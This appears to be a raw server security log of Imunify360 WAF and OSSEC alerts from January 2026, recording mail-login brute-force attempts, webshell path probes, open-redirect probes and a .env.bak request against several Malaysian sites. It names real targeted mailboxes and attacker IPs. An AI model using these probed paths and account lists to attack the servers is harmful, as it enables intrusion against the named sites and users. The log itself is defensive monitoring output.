country_id: 2963597
domain: www.manforce.net
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/manfotp3/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:23:36 dovecot_login authenticator failed for H=(gbMVOMd) [178.16.54.138]:54037: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.210.246.54
country_id: 289688
description:
2026-01-30 18:24:41 dovecot_login authenticator failed for H=([37.210.246.54]) [37.210.246.54]:48948: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:24:13 dovecot_login authenticator failed for H=(z1iJJF3) [178.16.54.138]:63989: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:25:22 dovecot_login authenticator failed for H=(sDUm3V) [178.16.54.138]:55450: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.179.120.26
country_id: 1814991
description:
2026-01-30 18:25:18 dovecot_login authenticator failed for H=([220.179.120.26]) [220.179.120.26]:57697: 535 Incorrect authentication data (set_id=amir)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.213.82.168
country_id: 1269750
domain: medinova.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:32813.medinova.com.my||ServerName:medinova.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:02dd31a7fa6ecefe40a0e5d980d8fd091de962a7||Title:0x3875ba4c||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.197.188
country_id: 453733
description:
2026-01-30 18:25:23 dovecot_login authenticator failed for H=188-197-29-85.dyn.estpak.ee [85.29.197.188]:51654: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.242.34.72
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=8&sub=12 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.140.179.150
country_id: 2542007
description:
2026-01-30 18:26:01 dovecot_plain authenticator failed for H=([192.168.1.36]) [41.140.179.150]:56511: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:26:23 dovecot_login authenticator failed for H=(IiIgQk9) [178.16.54.138]:57071: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:27:35 dovecot_login authenticator failed for H=(5D5yip0X1) [178.16.54.138]:59292: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:28:08 dovecot_login authenticator failed for H=(W6FPtM778) [178.16.54.138]:59101: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-01-30 18:28:47 dovecot_login authenticator failed for H=(173-25-186-130.client.mchsi.com) [173.25.186.130]:62624: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/images/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.169.224.27
country_id: 6252001
description:
2026-01-30 18:29:46 dovecot_plain authenticator failed for H=c-174-169-224-27.hsd1.vt.comcast.net (persherma) [174.169.224.27]:43582: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:29:17 dovecot_login authenticator failed for H=(TOtO6m) [178.16.54.138]:62768: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Tests/fixtures/resourcebundle/corrupted/resources.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:30:27 dovecot_login authenticator failed for H=(pDVZYw9Rw) [178.16.54.138]:54348: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.145.5.14
country_id: 1835841
description:
2026-01-30 18:31:25 dovecot_login authenticator failed for H=([220.67.139.254]) [221.145.5.14]:54926: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:31:45 dovecot_login authenticator failed for H=(V5JjYIHi) [178.16.54.138]:50692: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.146.144
country_id: 1819730
description:
2026-01-30 18:31:35 dovecot_login authenticator failed for H=(m121-202-146-144.smartone.com) [121.202.146.144]:53744: 535 Incorrect authentication data (set_id=aziz)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 124.88.225.193
country_id: 1814991
domain: www.kimmark.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; PHJ110 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.5735.197 Mobile Safari/537.36 aid/6589 bytedancewebview/d8a21c6||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 18:32:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58268: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:32:18 dovecot_login authenticator failed for H=(SAnwvFJJn) [178.16.54.138]:51398: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.110
country_id: 1269750
description:
2026-01-30 18:32:28 dovecot_login authenticator failed for H=([125.19.173.191]) [59.145.160.110]:41698: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.40.215.162
country_id: 3469034
description:
2026-01-30 18:33:16 dovecot_login authenticator failed for H=(152-237-221-1.user.vtal.net.br) [187.40.215.162]:49885: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.175.253.50
country_id: 2017370
description:
2026-01-30 18:33:24 dovecot_login authenticator failed for H=([89.175.253.50]) [89.175.253.50]:57384: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:33:28 dovecot_login authenticator failed for H=(unK3aIwm) [178.16.54.138]:51477: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 18:33:47 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:47524: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.165.36
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.161.94
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.188.89
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.9.102
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.5.166.152
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.62.19
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 115.153.9.106
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.3.28
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.31.186
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 59.63.155.45
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.81.20
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 111.78.106.95
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.93
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.52.140
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.188.85
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.20.68
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.31.157
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.238.10
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.61.93
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:35:08 dovecot_login authenticator failed for H=(ek1O0IL3) [178.16.54.138]:60593: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:36:46 dovecot_login authenticator failed for H=(AEOSOWCxx) [178.16.54.138]:61416: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Loader/schema/dic/xliff-core/xliff-core-1.2-strict.xsd||User:visoftcom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.255.236
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=872055 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/themes/apm/images/faq.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.108.88.121
country_id: 1814991
description:
2026-01-30 18:37:11 dovecot_login authenticator failed for H=([113.108.88.121]) [113.108.88.121]:49818: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:37:22 dovecot_login authenticator failed for H=(wSZ4Jq4EP) [178.16.54.138]:56182: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 18:37:34 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:36018: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.223
country_id: 2186224
description:
2026-01-30 18:38:41 dovecot_login authenticator failed for H=([121.73.163.223]) [121.73.163.223]:49142: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:38:45 dovecot_login authenticator failed for H=(xRBkVc) [178.16.54.138]:55101: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 18:38:54 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:10284: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:39:19 dovecot_login authenticator failed for H=(mkkBk91) [178.16.54.138]:65190: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.42.225.40
country_id: 2510769
description:
2026-01-30 18:39:13 dovecot_login authenticator failed for H=40.red-81-42-225.staticip.rima-tde.net [81.42.225.40]:57730: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 18:39:14 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:58086: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.64.13.167
country_id: 2017370
description:
2026-01-30 18:40:39 dovecot_login authenticator failed for H=([178.64.13.167]) [178.64.13.167]:47842: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-01-30 18:40:54 dovecot_login authenticator failed for H=([65.20.133.56]) [65.20.133.56]:53847: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 18:40:20 H=(localhost.localdomain) [45.150.192.143]:36590 F=<info@kapkenya.org> temporarily rejected RCPT <info@pspoly.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:40:38 dovecot_login authenticator failed for H=(jpQKGNW) [178.16.54.138]:53545: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.109
country_id: 2186224
description:
2026-01-30 18:40:41 dovecot_login authenticator failed for H=([121.73.169.109]) [121.73.169.109]:56550: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:41:13 dovecot_login authenticator failed for H=(Rw5A2g) [178.16.54.138]:58610: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 52.191.41.19
country_id: 6252001
domain: nexuscollection.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.74.194.86
country_id: 1522867
description:
2026-01-30 18:41:34 dovecot_login authenticator failed for H=(2-74-194-86.kcell.kz) [2.74.194.86]:43839: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-01-30 18:41:07 dovecot_login authenticator failed for H=([171.244.60.35]) [171.244.60.35]:3110: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.12.14.58
country_id: 1814991
description:
2026-01-30 18:41:26 dovecot_login authenticator failed for H=([210.12.14.58]) [210.12.14.58]:43762: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.239.217.154
country_id: 3041565
description:
2026-01-30 18:42:07 dovecot_login authenticator failed for H=(ADMIN) [173.239.217.154]:15681: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-30 18:42:41 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:45266: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:42:30 dovecot_login authenticator failed for H=(Q9p7TY9E) [178.16.54.138]:55285: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:43:12 dovecot_login authenticator failed for H=(5jOjERrcn) [178.16.54.138]:53404: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2026-01-30 18:43:41 dovecot_login authenticator failed for H=([175.206.113.91]) [175.206.113.91]:58140: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-30 18:43:18 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:48968: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.37.181.181
country_id: 1831722
description:
2026-01-30 18:44:55 dovecot_login authenticator failed for H=([36.37.181.181]) [36.37.181.181]:52064: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.118.107.125
country_id: 1814991
description:
2026-01-30 18:44:45 dovecot_login authenticator failed for H=([111.206.233.34]) [123.118.107.125]:42895: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:44:22 dovecot_login authenticator failed for H=(J20sezg) [178.16.54.138]:51413: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.183
country_id: 2750405
description:
2026-01-30 18:44:28 1038213 [Warning] Aborted connection 1038213 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.183' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.244.154.11
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/translation/Formatter/ChoiceMessageFormatterInterface.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:45:29 dovecot_login authenticator failed for H=(57tV3efX) [178.16.54.138]:53807: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.1.138.184
country_id: 1814991
description:
2026-01-30 18:45:45 dovecot_login authenticator failed for H=([218.1.138.184]) [218.1.138.184]:59388: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 18:45:45 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:37274: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-01-30 18:45:20 1038234 [Warning] Aborted connection 1038234 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.64.206
country_id: 1269750
description:
2026-01-30 18:46:02 dovecot_login authenticator failed for H=(nsg-corporate-113.254.185.122.airtel.in) [122.186.64.206]:44880: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:46:06 dovecot_login authenticator failed for H=(tRbgLF) [178.16.54.138]:52283: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-30 18:46:46 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:53174: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 18:46:15 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:52044: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-01-30 18:46:36 1038268 [Warning] Aborted connection 1038268 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.239.206
country_id: 1814991
description:
2026-01-30 18:47:10 dovecot_login authenticator failed for H=([220.189.239.206]) [220.189.239.206]:41912: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:47:15 dovecot_login authenticator failed for H=(fIJN0VfPvo) [178.16.54.138]:55756: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.10.64.2
country_id: 6252001
domain: fkr.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env/.env.bak||User:fkrcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.107.158
country_id: 226074
description:
2026-01-30 18:48:25 dovecot_login authenticator failed for H=([196.0.107.158]) [196.0.107.158]:47048: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.166.176.136
country_id: 2139685
description:
2026-01-30 18:48:37 dovecot_login authenticator failed for H=host-202-166-176-136.static.lagoon.nc [202.166.176.136]:52458: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-01-30 18:49:38 1038357 [Warning] Aborted connection 1038357 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.71.84.38
country_id: 3469034
description:
2026-01-30 18:50:11 dovecot_login authenticator failed for H=([200.71.84.38]) [200.71.84.38]:35746: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.48.229.117
country_id: 3469034
description:
2026-01-30 18:50:25 dovecot_login authenticator failed for H=ip-179.48.229.117.fiberlinkpe.net.br (ip-179.48.229.118.fiberlinkpe.net.br) [179.48.229.117]:55466: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.223.96.43
country_id: 2661886
domain: krisfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/uploads/BbUMY/flower.php||SC:/home2/krisfood/public_html/wp-content||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.31.238.24
country_id: 6252001
description:
[2026-01-30 18:50:02 +0800] info [cpaneld] 144.31.238.24 - itdept@ajplantations.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.223.96.43
country_id: 2661886
domain: krisfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-includes/images/about.php||SC:/home2/krisfood/public_html/wp-includes||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.183.10.127
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=2&sub=6 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.243
country_id: 1814991
description:
2026-01-30 18:51:56 dovecot_login authenticator failed for H=([111.61.176.243]) [111.61.176.243]:20490: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
